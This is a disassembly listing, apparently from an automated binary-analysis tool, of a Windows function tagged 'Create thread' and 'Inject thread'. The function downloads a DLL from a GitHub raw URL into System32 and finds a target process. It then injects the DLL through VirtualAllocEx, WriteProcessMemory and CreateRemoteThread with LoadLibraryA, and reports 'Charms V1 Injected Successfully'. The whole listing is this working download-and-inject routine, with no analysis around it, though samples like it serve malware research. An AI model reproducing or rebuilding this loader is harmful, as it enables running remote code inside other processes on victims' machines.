Function at 0x1400576a0
Capabilities:
Create thread
Inject thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x18], xmm6
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov ecx, 0x40
call fcn.1400bea1c
mov rcx, rax
mov qword [rbp + 0x27], rax
movdqa xmm0, xmmword [0x1400e1110]
movdqu xmmword [rbp + 0x37], xmm0
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_rahmoundll_KK_main_glew32.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400dfd20]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400dfd30]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400dfd40]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400dfd48]
mov dword [rcx + 0x38], eax
movzx eax, word [0x1400dfd4c]
mov word [rcx + 0x3c], ax
movzx eax, byte [0x1400dfd4e]
mov byte [rcx + 0x3e], al
mov byte [rcx + 0x3f], 0
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov rdx, rax
mov qword [rbp + 7], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_30]
movdqu xmmword [rbp + 0x17], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32glew32.dll]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfd60]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400dfd68]
mov dword [rax + 0x18], ecx
movzx eax, word [0x1400dfd6c]
mov word [rdx + 0x1c], ax
mov byte [rdx + 0x1e], 0
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x27]
call fcn.140052760
test al, al
jne 0x1400578bb
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x49]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xor ebx, ebx
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x31], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x39], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x31], Ordinal_50
movups xmm0, xmmword [str.Failed_to_download_the_DLL_file.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfd80]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], 9
mov qword [rbp - 0x11], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x29], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x21], al
mov byte [rbp - 0x20], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x29]
call fcn.14004aef0
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140057876
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057e35
call fcn.1400bed68
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x1400578b1
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400578ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057e74
call fcn.1400bed68
mov eax, 1
jmp 0x140057e80
call fcn.140052a50
mov edi, eax
xor ebx, ebx
test eax, eax
jne 0x14005797e
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_find_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfdb8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dfdc0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], bl
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140057a4e
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_27
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_open_the_process.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfdd8]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400dfde0]
mov word [rax + 0x18], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], dil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, Ordinal_32
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140057b36
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_41
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_allocate_memory_in_the_process.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfdf8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400dfe08]
movsd qword [rax + 0x20], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x28], cl
mov byte [rax + 0x29], sil
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], sil
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_32
lea r8, str.C:WindowsSystem32glew32.dll
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140057c22
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_35
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Failed_to_write_to_process_memory.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfe28]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400dfe38]
mov word [rax + 0x20], cx
mov byte [rax + 0x22], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140057d4f
lea rdx, str.Failed_to_create_remote_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140059fa0
lea rdx, [0x14005a180]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400bea1c
mov rdx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], Ordinal_32
mov qword [rbp - 0x11], Ordinal_32
movups xmm0, xmmword [str.Failed_to_create_remote_thread.]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400dfe70]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400dfe78]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400dfe7c]
mov word [rax + 0x1c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
movups xmm6, xmmword [0x14013bba8]
lea rax, [rbp - 0x29]
mov qword [rbp + 0x67], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rbx
mov ecx, Ordinal_50
call fcn.1400bea1c
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp - 0x11], Ordinal_50
movups xmm0, xmmword [str.Charms_V1_Injected_Successfully.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400dfe90]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
lea rax, [rbp - 0x49]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], 9
mov qword [rbp - 0x31], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [0x1400dfd98]
movsd qword [rbp - 0x49], xmm0
movzx eax, byte [0x1400dfda0]
mov byte [rbp - 0x41], al
mov byte [rbp - 0x40], 0
movdqa xmmword [rbp - 9], xmm6
lea r9, [rbp - 9]
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x49]
call fcn.14004aef0
mov edx, 0x20001
lea rcx, str.C:Windowsxactivar.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140057e42
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057e3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057e3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bed68
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140057e80
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057e7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057e7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bed68
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret